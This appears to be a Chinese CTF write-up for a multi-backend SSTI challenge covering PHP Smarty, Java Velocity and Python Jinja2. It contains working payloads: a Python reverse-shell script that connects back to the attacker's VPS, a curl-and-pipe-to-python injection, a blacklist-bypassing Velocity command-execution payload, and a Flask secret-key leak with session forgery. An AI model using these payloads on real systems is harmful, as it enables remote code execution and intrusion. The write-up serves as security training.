Mimic-ssti_writeup

0x01 什么是SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection),服务器接收用户命令,然后后端对命令渲染,将恶意代码作为Web模板的一部分,和其他注入(XSS等)比较类似。常见于Python环境。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

0x02 PHP

打开题目,只有一个搜索框。用HackBar简单执行一下python的payload,在自己的VPS上开指定端口,发现有请求访问,说明存在注入:

能访问就好说了,在自己的VPS上新建一个py脚本rev.py

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((your_vps_ip,vps_port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

新建一个vps的shell,用nc监听脚本预设的端口,然后让目标机器反弹shell:

http://eci-2ze7xhzqb362wx6m2wqs.cloudeci1.ichunqiu.com:8888/?username={system('curl -l http://your_vps_ir:port/rev.py | python3 ')}

在根目录下找到flag,但是只有php的可以读取:

0x03 Java

本来想用php的shell进python目录上传一句话拿shell的,结果发现没有权限……只能通过curl上传文件获得java目录里的jar文件源码。

打开源码后发现黑名单,可以针对黑名单进行绕过:

img

构造payload获取java的shell,需要注意的是,如果你这里也是用curl来反弹shell的话,要把监听php那个shell先退出才能收到java的shell:

%23set($e%3d"e")%0a%23set($j%3d"jav")%0a%23set($a%3d"a.lang.Ru")%0a%23set($R%3d"ntime")%0a%23set($g%3d"getR")%0a%23set($t%3d"untime")%0a$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash+-c+{echo,这里是getshell的base64语句}|{base64,-d}|{bash,-i}")

执行语句后收到java部分的flag:

0x04 Python

读取python目录下的app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, render_template, request, render_template_string
import requests
import uuid

app = Flask(__name__)
SECRET_KEY = str(uuid.uuid4())[:12]
numbers_str = [str(x) for x in range(10)]
black_list = ["class", "__", "'", "\"", "~", "+", "globals", "request", "{%", "true", "false", 'lipsum', 'url_for',
'get_flashed_messages', 'range', 'dict', 'joiner']
black_list += numbers_str

app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))


def waf(name):
for x in black_list:
if x in name.lower():
return True
return False


@app.route('/')
def index():
name = request.args.get("username")
if name is not None:
text1 = requests.get("http://127.0.0.1:7410/", params={"username": name}).text
text2 = requests.get("http://127.0.0.1:8080/", params={"username": name}).text
if waf(name):
return render_template('404.html'), 404
render_str = render_template_string(name)
if text1 == render_str and text2 == render_str:
return render_str
else:
return render_template('404.html'), 404
render_str = render_template_string(name)
return render_str
return render_template('index.html')


@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404


if __name__ == '__main__':
app.run("0.0.0.0", 8888)

发现SECRET_KEY是随机产生的,而且过滤了数字和字符串拼接,所以这里可以利用伪造session来进行构造任意字符串。

这里可以通过伪造php和java的服务来本地比较得到key。

leak.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//leak.php
if(!is_file("tmp_code")){
file_put_contents("tmp_code","-");
}
$code="-0123456789abcdef";
if(strpos($_GET["username"],'code') !== false){
file_put_contents("code",$_GET["username"][0],FILE_APPEND);
file_put_contents("tmp_code","-");
}else{
$tmp_code = file_get_contents("tmp_code");
echo $tmp_code;
file_put_contents("tmp_code",$code[(strpos($code,$tmp_code)+1)%17]);
}
?>

leak.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
#leak.py
url="http://127.0.0.1:8888/"
code="-0123456789abcdef"
f=""
for x in range(12):
cut = (11-x)*'-config.JSON_SORT_KEYS'
leak_temp = "{{config.SECRET_KEY[config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)"+cut+"]}}"
for y in code:
text=requests.get(url,params={"username":leak_temp}).text
#print(text)
if ">404<" in text:
pass
else:
requests.get(url,params={"username":y+"code"})
f+=y
print(f)
break

然后在php的shell里kill掉php服务,之后退出shell;再在java的shell里kill掉java进程。再把上面的leak.php写入到tmp下,把leak.py写到vps的目录下。

在自己的vps上运行leak.py

然后利用爆破出的key伪造session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle

app = Flask(__name__)
app.secret_key = "8a8cf74c-0d2"

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

def index():
a={"cs":"__class__","bs":"__base__","sub":"__subclasses__","num":190,"it":"__init__","gb":"__globals__","bt":"__builtins__","el":"eval","cmd":"__import__('os').popen('cat /python_flag > /tmp/python_flag').read()"}
print(session_serializer.dumps(a))

index()

构造python模板的poc:

{{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}}

在header头里添加cookie字段伪造得到的session,发送数据包即可在tmp目录下找到python_flag:

0x05 Getflag

三段拼接即可得到flag,提交完事:


Mimic-ssti_writeup
https://k1nm0.com/2022/03/18/Mimic-ssti-writeup/
作者
K1nm0
发布于
2022年3月18日
许可协议